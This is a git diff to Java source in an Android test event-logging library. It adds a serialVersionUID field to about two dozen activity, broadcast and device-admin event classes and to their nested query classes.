diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityRestartedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityRestartedEvent.java
index eb3e122..a6b9418 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityRestartedEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityRestartedEvent.java
@@ -32,6 +32,8 @@
  */
 public final class ActivityRestartedEvent extends Event {
 
+    private static final long serialVersionUID = 1;
+
     /** Begins a query for {@link ActivityRestartedEvent} events. */
     public static ActivityRestartedEventQuery queryPackage(String packageName) {
         return new ActivityRestartedEventQuery(packageName);
@@ -40,6 +42,9 @@
     /** {@link EventLogsQuery} for {@link ActivityRestartedEvent}. */
     public static final class ActivityRestartedEventQuery
             extends EventLogsQuery<ActivityRestartedEvent, ActivityRestartedEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
         ActivityQueryHelper<ActivityRestartedEventQuery> mActivity =
                 new ActivityQueryHelper<>(this);
 
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityResumedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityResumedEvent.java
index ef052fd..ce57340 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityResumedEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityResumedEvent.java
@@ -32,6 +32,8 @@
  */
 public final class ActivityResumedEvent extends Event {
 
+    private static final long serialVersionUID = 1;
+
     /** Begins a query for {@link ActivityResumedEvent} events. */
     public static ActivityResumedEventQuery queryPackage(String packageName) {
         return new ActivityResumedEventQuery(packageName);
@@ -40,6 +42,9 @@
     /** {@link EventLogsQuery} for {@link ActivityResumedEvent}. */
     public static final class ActivityResumedEventQuery
             extends EventLogsQuery<ActivityResumedEvent, ActivityResumedEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
         ActivityQueryHelper<ActivityResumedEventQuery> mActivity =
                 new ActivityQueryHelper<>(this);
 
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityStartedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityStartedEvent.java
index f383fc6..a6cb5be 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityStartedEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityStartedEvent.java
@@ -32,6 +32,8 @@
  */
 public final class ActivityStartedEvent extends Event {
 
+    private static final long serialVersionUID = 1;
+
     /** Begins a query for {@link ActivityStartedEvent} events. */
     public static ActivityStartedEventQuery queryPackage(String packageName) {
         return new ActivityStartedEventQuery(packageName);
@@ -40,6 +42,9 @@
     /** {@link EventLogsQuery} for {@link ActivityStartedEvent}. */
     public static final class ActivityStartedEventQuery
             extends EventLogsQuery<ActivityStartedEvent, ActivityStartedEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
         ActivityQueryHelper<ActivityStartedEventQuery> mActivity = new ActivityQueryHelper<>(this);
 
         private ActivityStartedEventQuery(String packageName) {
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityStoppedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityStoppedEvent.java
index 9dac7f8..cd9630c 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityStoppedEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityStoppedEvent.java
@@ -32,6 +32,8 @@
  */
 public final class ActivityStoppedEvent extends Event {
 
+    private static final long serialVersionUID = 1;
+
     /** Begins a query for {@link ActivityStoppedEvent} events. */
     public static ActivityStoppedEventQuery queryPackage(String packageName) {
         return new ActivityStoppedEventQuery(packageName);
@@ -40,6 +42,9 @@
     /** {@link EventLogsQuery} for {@link ActivityStoppedEvent}. */
     public static final class ActivityStoppedEventQuery
             extends EventLogsQuery<ActivityStoppedEvent, ActivityStoppedEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
         ActivityQueryHelper<ActivityStoppedEventQuery> mActivity = new ActivityQueryHelper<>(this);
 
         private ActivityStoppedEventQuery(String packageName) {
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/broadcastreceivers/BroadcastReceivedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/broadcastreceivers/BroadcastReceivedEvent.java
index 03c148f..c4f4f0f 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/broadcastreceivers/BroadcastReceivedEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/broadcastreceivers/BroadcastReceivedEvent.java
@@ -37,6 +37,8 @@
  */
 public final class BroadcastReceivedEvent extends Event {
 
+    private static final long serialVersionUID = 1;
+
     /** Begins a query for {@link BroadcastReceivedEvent} events. */
     public static BroadcastReceivedEventQuery queryPackage(String packageName) {
         return new BroadcastReceivedEventQuery(packageName);
@@ -45,6 +47,9 @@
     /** {@link EventLogsQuery} for {@link BroadcastReceivedEvent}. */
     public static final class BroadcastReceivedEventQuery
             extends EventLogsQuery<BroadcastReceivedEvent, BroadcastReceivedEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
         BroadcastReceiverQueryHelper<BroadcastReceivedEventQuery> mBroadcastReceiver =
                 new BroadcastReceiverQueryHelper<>(this);
         IntentQueryHelper<BroadcastReceivedEventQuery> mIntent = new IntentQueryHelper<>(this);
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminBugreportFailedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminBugreportFailedEvent.java
index 430bb9b..6308d61 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminBugreportFailedEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminBugreportFailedEvent.java
@@ -39,6 +39,8 @@
  */
 public final class DeviceAdminBugreportFailedEvent extends Event {
 
+    private static final long serialVersionUID = 1;
+
     /** Begins a query for {@link DeviceAdminBugreportFailedEvent} events. */
     public static DeviceAdminBugreportFailedEventQuery queryPackage(String packageName) {
         return new DeviceAdminBugreportFailedEventQuery(packageName);
@@ -48,6 +50,9 @@
     public static final class DeviceAdminBugreportFailedEventQuery
             extends EventLogsQuery<DeviceAdminBugreportFailedEvent,
             DeviceAdminBugreportFailedEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
         DeviceAdminReceiverQueryHelper<DeviceAdminBugreportFailedEventQuery> mDeviceAdminReceiver =
                 new DeviceAdminReceiverQueryHelper<>(this);
         IntentQueryHelper<DeviceAdminBugreportFailedEventQuery> mIntent =
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminBugreportSharedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminBugreportSharedEvent.java
index 6d3dc8a..1e96e00 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminBugreportSharedEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminBugreportSharedEvent.java
@@ -39,6 +39,8 @@
  */
 public final class DeviceAdminBugreportSharedEvent extends Event {
 
+    private static final long serialVersionUID = 1;
+
     /** Begins a query for {@link DeviceAdminBugreportSharedEvent} events. */
     public static DeviceAdminBugreportSharedEventQuery queryPackage(String packageName) {
         return new DeviceAdminBugreportSharedEventQuery(packageName);
@@ -48,6 +50,9 @@
     public static final class DeviceAdminBugreportSharedEventQuery
             extends EventLogsQuery<DeviceAdminBugreportSharedEvent,
             DeviceAdminBugreportSharedEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
         DeviceAdminReceiverQueryHelper<DeviceAdminBugreportSharedEventQuery> mDeviceAdminReceiver =
                 new DeviceAdminReceiverQueryHelper<>(this);
         IntentQueryHelper<DeviceAdminBugreportSharedEventQuery> mIntent =
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminBugreportSharingDeclinedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminBugreportSharingDeclinedEvent.java
index 4f36bcc..fe944da 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminBugreportSharingDeclinedEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminBugreportSharingDeclinedEvent.java
@@ -37,6 +37,8 @@
  */
 public final class DeviceAdminBugreportSharingDeclinedEvent extends Event {
 
+    private static final long serialVersionUID = 1;
+
     /** Begins a query for {@link DeviceAdminBugreportSharingDeclinedEvent} events. */
     public static DeviceAdminBugreportSharingDeclinedEventQuery queryPackage(String packageName) {
         return new DeviceAdminBugreportSharingDeclinedEventQuery(packageName);
@@ -46,6 +48,9 @@
     public static final class DeviceAdminBugreportSharingDeclinedEventQuery
             extends EventLogsQuery<DeviceAdminBugreportSharingDeclinedEvent,
             DeviceAdminBugreportSharingDeclinedEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
         DeviceAdminReceiverQueryHelper<DeviceAdminBugreportSharingDeclinedEventQuery> mDeviceAdminReceiver =
                 new DeviceAdminReceiverQueryHelper<>(this);
         IntentQueryHelper<DeviceAdminBugreportSharingDeclinedEventQuery> mIntent =
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminChoosePrivateKeyAliasEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminChoosePrivateKeyAliasEvent.java
index 9f7dfe5..8c6c464 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminChoosePrivateKeyAliasEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminChoosePrivateKeyAliasEvent.java
@@ -44,6 +44,8 @@
  */
 public final class DeviceAdminChoosePrivateKeyAliasEvent extends Event {
 
+    private static final long serialVersionUID = 1;
+
     /** Begins a query for {@link DeviceAdminChoosePrivateKeyAliasEvent} events. */
     public static DeviceAdminChoosePrivateKeyAliasEventQuery queryPackage(String packageName) {
         return new DeviceAdminChoosePrivateKeyAliasEventQuery(packageName);
@@ -53,6 +55,9 @@
     public static final class DeviceAdminChoosePrivateKeyAliasEventQuery
             extends EventLogsQuery<DeviceAdminChoosePrivateKeyAliasEvent,
             DeviceAdminChoosePrivateKeyAliasEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
         DeviceAdminReceiverQueryHelper<DeviceAdminChoosePrivateKeyAliasEventQuery> mDeviceAdminReceiver =
                 new DeviceAdminReceiverQueryHelper<>(this);
         IntentQueryHelper<DeviceAdminChoosePrivateKeyAliasEventQuery> mIntent =
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminDisableRequestedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminDisableRequestedEvent.java
index 7398603..aa0c757 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminDisableRequestedEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminDisableRequestedEvent.java
@@ -36,6 +36,8 @@
  */
 public final class DeviceAdminDisableRequestedEvent extends Event {
 
+    private static final long serialVersionUID = 1;
+
     /** Begins a query for {@link DeviceAdminDisableRequestedEvent} events. */
     public static DeviceAdminDisableRequestedEventQuery queryPackage(String packageName) {
         return new DeviceAdminDisableRequestedEventQuery(packageName);
@@ -45,6 +47,9 @@
     public static final class DeviceAdminDisableRequestedEventQuery
             extends EventLogsQuery<DeviceAdminDisableRequestedEvent,
             DeviceAdminDisableRequestedEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
         DeviceAdminReceiverQueryHelper<DeviceAdminDisableRequestedEventQuery> mDeviceAdminReceiver =
                 new DeviceAdminReceiverQueryHelper<>(this);
         IntentQueryHelper<DeviceAdminDisableRequestedEventQuery> mIntent =
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminDisabledEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminDisabledEvent.java
index c50c0dc..ad81690 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminDisabledEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminDisabledEvent.java
@@ -36,6 +36,8 @@
  */
 public final class DeviceAdminDisabledEvent extends Event {
 
+    private static final long serialVersionUID = 1;
+
     /** Begins a query for {@link DeviceAdminDisabledEvent} events. */
     public static DeviceAdminDisabledEventQuery queryPackage(String packageName) {
         return new DeviceAdminDisabledEventQuery(packageName);
@@ -44,6 +46,9 @@
     /** {@link EventLogsQuery} for {@link DeviceAdminDisabledEvent}. */
     public static final class DeviceAdminDisabledEventQuery
             extends EventLogsQuery<DeviceAdminDisabledEvent, DeviceAdminDisabledEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
         DeviceAdminReceiverQueryHelper<DeviceAdminDisabledEventQuery> mDeviceAdminReceiver =
                 new DeviceAdminReceiverQueryHelper<>(this);
         IntentQueryHelper<DeviceAdminDisabledEventQuery> mIntent = new IntentQueryHelper<>(this);
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminEnabledEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminEnabledEvent.java
index c71da23..223ff54 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminEnabledEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminEnabledEvent.java
@@ -36,6 +36,8 @@
  */
 public final class DeviceAdminEnabledEvent extends Event {
 
+    private static final long serialVersionUID = 1;
+
     /** Begins a query for {@link DeviceAdminEnabledEvent} events. */
     public static DeviceAdminEnabledEventQuery queryPackage(String packageName) {
         return new DeviceAdminEnabledEventQuery(packageName);
@@ -44,6 +46,9 @@
     /** {@link EventLogsQuery} for {@link DeviceAdminEnabledEvent}. */
     public static final class DeviceAdminEnabledEventQuery
             extends EventLogsQuery<DeviceAdminEnabledEvent, DeviceAdminEnabledEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
         DeviceAdminReceiverQueryHelper<DeviceAdminEnabledEventQuery> mDeviceAdminReceiver =
                 new DeviceAdminReceiverQueryHelper<>(this);
         IntentQueryHelper<DeviceAdminEnabledEventQuery> mIntent = new IntentQueryHelper<>(this);
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminLockTaskModeEnteringEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminLockTaskModeEnteringEvent.java
index 038811f..edacae2 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminLockTaskModeEnteringEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminLockTaskModeEnteringEvent.java
@@ -39,6 +39,8 @@
  */
 public final class DeviceAdminLockTaskModeEnteringEvent extends Event {
 
+    private static final long serialVersionUID = 1;
+
     /** Begins a query for {@link DeviceAdminLockTaskModeEnteringEvent} events. */
     public static DeviceAdminLockTaskModeEnteringEventQuery queryPackage(String packageName) {
         return new DeviceAdminLockTaskModeEnteringEventQuery(packageName);
@@ -48,6 +50,9 @@
     public static final class DeviceAdminLockTaskModeEnteringEventQuery
             extends EventLogsQuery<DeviceAdminLockTaskModeEnteringEvent,
             DeviceAdminLockTaskModeEnteringEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
         DeviceAdminReceiverQueryHelper<DeviceAdminLockTaskModeEnteringEventQuery> mDeviceAdminReceiver =
                 new DeviceAdminReceiverQueryHelper<>(this);
         IntentQueryHelper<DeviceAdminLockTaskModeEnteringEventQuery> mIntent =
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminLockTaskModeExitingEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminLockTaskModeExitingEvent.java
index 173f16f..1607ea6 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminLockTaskModeExitingEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminLockTaskModeExitingEvent.java
@@ -37,6 +37,8 @@
  */
 public final class DeviceAdminLockTaskModeExitingEvent extends Event {
 
+    private static final long serialVersionUID = 1;
+
     /** Begins a query for {@link DeviceAdminLockTaskModeExitingEvent} events. */
     public static DeviceAdminLockTaskModeExitingEventQuery queryPackage(String packageName) {
         return new DeviceAdminLockTaskModeExitingEventQuery(packageName);
@@ -46,6 +48,9 @@
     public static final class DeviceAdminLockTaskModeExitingEventQuery
             extends EventLogsQuery<DeviceAdminLockTaskModeExitingEvent,
             DeviceAdminLockTaskModeExitingEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
         DeviceAdminReceiverQueryHelper<DeviceAdminLockTaskModeExitingEventQuery> mDeviceAdminReceiver =
                 new DeviceAdminReceiverQueryHelper<>(this);
         IntentQueryHelper<DeviceAdminLockTaskModeExitingEventQuery> mIntent =
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminNetworkLogsAvailableEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminNetworkLogsAvailableEvent.java
index 9518797..c9b6eb2 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminNetworkLogsAvailableEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminNetworkLogsAvailableEvent.java
@@ -39,6 +39,8 @@
  */
 public final class DeviceAdminNetworkLogsAvailableEvent extends Event {
 
+    private static final long serialVersionUID = 1;
+
     /** Begins a query for {@link DeviceAdminNetworkLogsAvailableEvent} events. */
     public static DeviceAdminNetworkLogsAvailableEventQuery queryPackage(String packageName) {
         return new DeviceAdminNetworkLogsAvailableEventQuery(packageName);
@@ -48,6 +50,9 @@
     public static final class DeviceAdminNetworkLogsAvailableEventQuery
             extends EventLogsQuery<DeviceAdminNetworkLogsAvailableEvent,
             DeviceAdminNetworkLogsAvailableEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
         DeviceAdminReceiverQueryHelper<DeviceAdminNetworkLogsAvailableEventQuery> mDeviceAdminReceiver =
                 new DeviceAdminReceiverQueryHelper<>(this);
         IntentQueryHelper<DeviceAdminNetworkLogsAvailableEventQuery> mIntent =
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminOperationSafetyStateChangedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminOperationSafetyStateChangedEvent.java
index fd19b95..528ad27 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminOperationSafetyStateChangedEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminOperationSafetyStateChangedEvent.java
@@ -40,6 +40,8 @@
  */
 public final class DeviceAdminOperationSafetyStateChangedEvent extends Event {
 
+    private static final long serialVersionUID = 1;
+
     /** Begins a query for {@link DeviceAdminOperationSafetyStateChangedEvent} events. */
     public static DeviceAdminOperationSafetyStateChangedEventQuery queryPackage(String packageName) {
         return new DeviceAdminOperationSafetyStateChangedEventQuery(packageName);
@@ -49,6 +51,9 @@
     public static final class DeviceAdminOperationSafetyStateChangedEventQuery
             extends EventLogsQuery<DeviceAdminOperationSafetyStateChangedEvent,
             DeviceAdminOperationSafetyStateChangedEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
         DeviceAdminReceiverQueryHelper<DeviceAdminOperationSafetyStateChangedEventQuery> mDeviceAdminReceiver =
                 new DeviceAdminReceiverQueryHelper<>(this);
         IntegerQueryHelper<DeviceAdminOperationSafetyStateChangedEventQuery> mReason =
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordChangedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordChangedEvent.java
index aa3a310..fbb26d3 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordChangedEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordChangedEvent.java
@@ -40,6 +40,8 @@
  */
 public final class DeviceAdminPasswordChangedEvent extends Event {
 
+    private static final long serialVersionUID = 1;
+
     /** Begins a query for {@link DeviceAdminPasswordChangedEvent} events. */
     public static DeviceAdminPasswordChangedEventQuery queryPackage(String packageName) {
         return new DeviceAdminPasswordChangedEventQuery(packageName);
@@ -49,6 +51,9 @@
     public static final class DeviceAdminPasswordChangedEventQuery
             extends EventLogsQuery<DeviceAdminPasswordChangedEvent,
             DeviceAdminPasswordChangedEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
         DeviceAdminReceiverQueryHelper<DeviceAdminPasswordChangedEventQuery> mDeviceAdminReceiver =
                 new DeviceAdminReceiverQueryHelper<>(this);
         IntentQueryHelper<DeviceAdminPasswordChangedEventQuery> mIntent =
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordExpiringEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordExpiringEvent.java
index fa9df15..12fed72 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordExpiringEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordExpiringEvent.java
@@ -40,6 +40,8 @@
  */
 public final class DeviceAdminPasswordExpiringEvent extends Event {
 
+    private static final long serialVersionUID = 1;
+
     /** Begins a query for {@link DeviceAdminPasswordExpiringEvent} events. */
     public static DeviceAdminPasswordExpiringEventQuery queryPackage(String packageName) {
         return new DeviceAdminPasswordExpiringEventQuery(packageName);
@@ -49,6 +51,9 @@
     public static final class DeviceAdminPasswordExpiringEventQuery
             extends EventLogsQuery<DeviceAdminPasswordExpiringEvent,
             DeviceAdminPasswordExpiringEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
         DeviceAdminReceiverQueryHelper<DeviceAdminPasswordExpiringEventQuery> mDeviceAdminReceiver =
                 new DeviceAdminReceiverQueryHelper<>(this);
         IntentQueryHelper<DeviceAdminPasswordExpiringEventQuery> mIntent =
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordFailedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordFailedEvent.java
index d59c7b3..4c1cd62 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordFailedEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordFailedEvent.java
@@ -40,6 +40,8 @@
  */
 public final class DeviceAdminPasswordFailedEvent extends Event {
 
+    private static final long serialVersionUID = 1;
+
     /** Begins a query for {@link DeviceAdminPasswordFailedEvent} events. */
     public static DeviceAdminPasswordFailedEventQuery queryPackage(String packageName) {
         return new DeviceAdminPasswordFailedEventQuery(packageName);
@@ -49,6 +51,9 @@
     public static final class DeviceAdminPasswordFailedEventQuery
             extends EventLogsQuery<DeviceAdminPasswordFailedEvent,
             DeviceAdminPasswordFailedEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
         DeviceAdminReceiverQueryHelper<DeviceAdminPasswordFailedEventQuery> mDeviceAdminReceiver =
                 new DeviceAdminReceiverQueryHelper<>(this);
         IntentQueryHelper<DeviceAdminPasswordFailedEventQuery> mIntent =
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordSucceededEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordSucceededEvent.java
index 6178853..3201ea8 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordSucceededEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordSucceededEvent.java
@@ -40,6 +40,8 @@
  */
 public final class DeviceAdminPasswordSucceededEvent extends Event {
 
+    private static final long serialVersionUID = 1;
+
     /** Begins a query for {@link DeviceAdminPasswordSucceededEvent} events. */
     public static DeviceAdminPasswordSucceededEventQuery queryPackage(String packageName) {
         return new DeviceAdminPasswordSucceededEventQuery(packageName);
@@ -49,6 +51,9 @@
     public static final class DeviceAdminPasswordSucceededEventQuery
             extends EventLogsQuery<DeviceAdminPasswordSucceededEvent,
             DeviceAdminPasswordSucceededEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
         DeviceAdminReceiverQueryHelper<DeviceAdminPasswordSucceededEventQuery>
                 mDeviceAdminReceiver = new DeviceAdminReceiverQueryHelper<>(this);
         IntentQueryHelper<DeviceAdminPasswordSucceededEventQuery> mIntent =
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminProfileProvisioningCompleteEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminProfileProvisioningCompleteEvent.java
index ccb9769..10ccbbb 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminProfileProvisioningCompleteEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminProfileProvisioningCompleteEvent.java
@@ -37,6 +37,8 @@
  */
 public final class DeviceAdminProfileProvisioningCompleteEvent extends Event {
 
+    private static final long serialVersionUID = 1;
+
     /** Begins a query for {@link DeviceAdminProfileProvisioningCompleteEvent} events. */
     public static DeviceAdminProfileProvisioningCompleteEventQuery queryPackage(String packageName) {
         return new DeviceAdminProfileProvisioningCompleteEventQuery(packageName);
@@ -46,6 +48,9 @@
     public static final class DeviceAdminProfileProvisioningCompleteEventQuery
             extends EventLogsQuery<DeviceAdminProfileProvisioningCompleteEvent,
             DeviceAdminProfileProvisioningCompleteEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
         DeviceAdminReceiverQueryHelper<DeviceAdminProfileProvisioningCompleteEventQuery> mDeviceAdminReceiver =
                 new DeviceAdminReceiverQueryHelper<>(this);
         IntentQueryHelper<DeviceAdminProfileProvisioningCompleteEventQuery> mIntent =
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminReadyForUserInitializationEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminReadyForUserInitializationEvent.java
index 23707b0..995da5e 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminReadyForUserInitializationEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminReadyForUserInitializationEvent.java
@@ -37,6 +37,8 @@
  */
 public final class DeviceAdminReadyForUserInitializationEvent extends Event {
 
+    private static final long serialVersionUID = 1;
+
     /** Begins a query for {@link DeviceAdminReadyForUserInitializationEvent} events. */
     public static DeviceAdminReadyForUserInitializationEventQuery queryPackage(String packageName) {
         return new DeviceAdminReadyForUserInitializationEventQuery(packageName);
@@ -46,6 +48,9 @@
     public static final class DeviceAdminReadyForUserInitializationEventQuery
             extends EventLogsQuery<DeviceAdminReadyForUserInitializationEvent,
             DeviceAdminReadyForUserInitializationEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
         DeviceAdminReceiverQueryHelper<DeviceAdminReadyForUserInitializationEventQuery> mDeviceAdminReceiver =
                 new DeviceAdminReceiverQueryHelper<>(this);
         IntentQueryHelper<DeviceAdminReadyForUserInitializationEventQuery> mIntent =
